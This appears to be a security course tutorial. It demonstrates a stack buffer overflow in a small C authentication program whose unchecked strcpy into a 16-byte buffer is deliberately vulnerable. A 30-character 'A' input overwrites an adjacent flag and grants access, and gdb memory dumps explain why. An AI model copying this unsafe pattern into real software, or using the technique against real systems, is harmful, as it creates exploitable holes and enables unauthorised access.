This program accepts a password as its only command-line argument and then calls a checkauth() function.

This function allows two passwords (P@ssword123 and @m0niUmSulphat3 ), meant to be representative of multiple authentication methods.

\*\*\*If either of these passwords is used, the function returns 1, which grants access.

**AuthBof.c**

1. #include < stdio.h >
2. #include < stdlib.h >
3. #include < string.h >
4. int checkauth ( char \*password)
5. { int aflag = 0;
6. char pbuffer[ 16];
7. strcpy( pbuffer, password);
8. if( strcmp( pbuffer, "P@ssword123") = = 0) aflag = 1;
9. if( strcmp( pbuffer, "@m0niUmSulphat3") = = 0) aflag = 1;
10. return aflag;
11. }
12. int main( int argc, char \*argv[])
13. {
14. if( argc < 2)
15. {
16. printf(" Usage: %s < password >\ n", argv[ 0]);
17. exit( 0);
18. }
19. if( checkauth( argv[ 1]))
20. {
21. printf("\ n\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\ n");
22. printf(" Access Granted.\ n");
23. printf("\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\ n");
24. }
25. else
26. { printf("\ nAccess Denied.\ n");
27. }
28. }

Incorrect Password and Access Denied

**Compilation Instruction and finding results**

Use the -g option when you do compile it.

Cryptolog@ ahm: ~/ CSE7359 $ gcc -g -o AuthBof AuthBof.c

Cryptolog@ ahm: ~/ CSE7359 $./ AuthBof Usage: ./ AuthBof < password >

Cryptolog@ ahm: ~/ CSE7359 $ ./ AuthBof **test** Access Denied.

Cryptolog@ ahm: ~/ CSE7359 $ ./ AuthBof **P@ssword123**

\*\*\*\*\*\*\*\*\*\*\*\*\*- Access Granted. \*\*\*\*\*\*\*\*\*\*\*\*\*-

Cryptolog@ ahm: ~/ CSE7359 $ ./ AuthBof **@m0niUmSulphat3**

\*\*\*\*\*\*\*\*\*\*\*\*\*- Access Granted. \*\*\*\*\*\*\*\*\*\*\*\*\*-

Correct Passwords and Access Granted

Cryptolog@ ahm: ~/ CSE7359 $

So far, everything works as the source code says it should. This is to be expected from something as deterministic as a computer program.

But an overflow can lead to unexpected and even contradictory behavior, allowing access without a proper password.

Cryptolog@ ahm: ~/ CSE7359 $ ./ AuthBof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \*\*\*\*\*\*\*\*\*\*\*\*\*- Access Granted. \*\*\*\*\*\*\*\*\*\*\*\*\*-

Cryptolog@ ahm: ~/ CSE7359 $

Let’s look at this with a debugger to see the specifics of it.

Cryptolog@ ahm: ~/ CSE7359 $ gdb -q ./ AuthBof Using host libthread\_db library "/ lib/ tls/ i686/ cmov/ libthread\_db.so. 1". (gdb) list 1

1. #include < stdio.h >
2. #include < stdlib.h >
3. #include < string.h >
4. int checkauth ( char \*password)
5. { int aflag = 0;
6. char pbuffer[ 16];
7. **strcpy( pbuffer, password);**
8. if( strcmp( pbuffer, "P@ssword123") = = 0) aflag = 1;
9. if( strcmp( pbuffer, "@m0niUmSulphat3") = = 0) aflag = 1;
10. **return aflag;**
11. }
12. int main( int argc, char \*argv[])
13. {
14. if( argc < 2)
15. {
16. printf(" Usage: %s < password >\ n", argv[ 0]);
17. exit( 0);
18. }
19. if( checkauth( argv[ 1]))
20. {
21. printf("\ n\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\ n");
22. printf(" Access Granted.\ n");
23. printf("\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\ n");
24. }
25. else
26. { printf("\ nAccess Denied.\ n");
27. }
28. }

(gdb) break 7 Breakpoint 1 at 0x8048421: file AuthBof.c, line 7. (gdb) break 10 Breakpoint 2 at 0x804846f: file AuthBof.c, line 10. (gdb)

The GDB debugger is started with the **-q** option to suppress the welcome banner, and breakpoints are set on lines 7 and 10.

When the program is run, execution will pause at these breakpoints and give us a chance to examine memory.

**(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/ Cryptolog/ CSE7359/ AuthBof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1,**

**checkauth (password = 0xbffff9af 'A' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA**) at AuthBof.c: 7

7 **strcpy( pbuffer, password**); (gdb) x/ s **pbuffer 0xbffff7a0:** ")???? o??????)\ 205\ 004\ b? o?? p???????" (gdb) x/ x &**aflag 0xbffff7bc: 0x00000000**

(gdb) print 0xbffff7bc - 0xbffff7a0 $ 1 = 28 (gdb) x/ 10xw pbuffer

0xbffff7a0: 0xb7f9f729

0xb7fd6ff4 0xbffff7d8

0x08048529

0xbffff7b0: 0xb7fd6ff4

0xbffff870 0xbffff7d8

0x00000000

0xbffff7c0: 0xb7ff47b0

0x08048510 0xbffff7d8

0x080484bb

0xbffff7d0: 0xbffff9af

0x08048510

0xbffff838 0xb7eafebc

**(gdb) The first breakpoint is before the strcpy() happens.**

**By examining the pbuffer pointer**, the debugger shows it is filled with random uninitialized data and is located at **0xbffff7a0 in memory**.

**By examining the address of the aflag variable**, we can see both its location at **0xbffff7bc and its value of 0**.

The print command can be used to do arithmetic and shows that aflag is 28 bytes past the start of pbuffer.

This relationship can also be seen in a block of memory starting at pbuffer. The location of aflag is shown in bold.

(gdb) continue Continuing.

Breakpoint 2,

checkauth (password = 0xbffff9af 'A' < repeats 30 times >) at AuthBof.c:

10 10 return aflag; (gdb) x/ s pbuffer 0xbffff7a0: 'A' < repeats 30 times > (gdb) x/ x &aflag 0xbffff7bc: 0x00004141 (gdb) x/ 10xw pbuffer

0xbffff7a0: 0x41414141

0x41414141 0x41414141

0x41414141

0xbffff7b0: 0x41414141

0x41414141 0x41414141

0x00004141

0xbffff7c0: 0xb7ff47b0

0x08048510 0xbffff7d8

0x080484bb

0xbffff7d0: 0xbffff9af

0x08048510 0xbffff838

0xb7eafebc

(gdb) x/ 4cb &aflag 0xbffff7bc: 65 'A' 65 'A' 0 '\ 0' 0 '\ 0'

(gdb) x/ dw &aflag 0xbffff7bc: 16705

(gdb) Continuing to the next breakpoint **found after the strcpy(),** these memory locations are examined again.

The pbuffer overflowed into the aflag, changing its first two bytes to 0x41. The value of 0x00004141.

If we examine each of these four bytes individually, we can see how the memory is actually laid out. Ultimately, the program will treat this value as an integer, with a value of 16705.

(gdb) continue Continuing.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*- Access Granted. -\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Program exited with code 034. (gdb)

After the overflow, the checkauth () function will return 16705 instead of 0.

Since the if statement considers any nonzero value to be authenticated, the program’s execution flow is controlled into the authenticated section. In this example, the **aflag variable is the execution control point**, since over writing this value is the source of the control.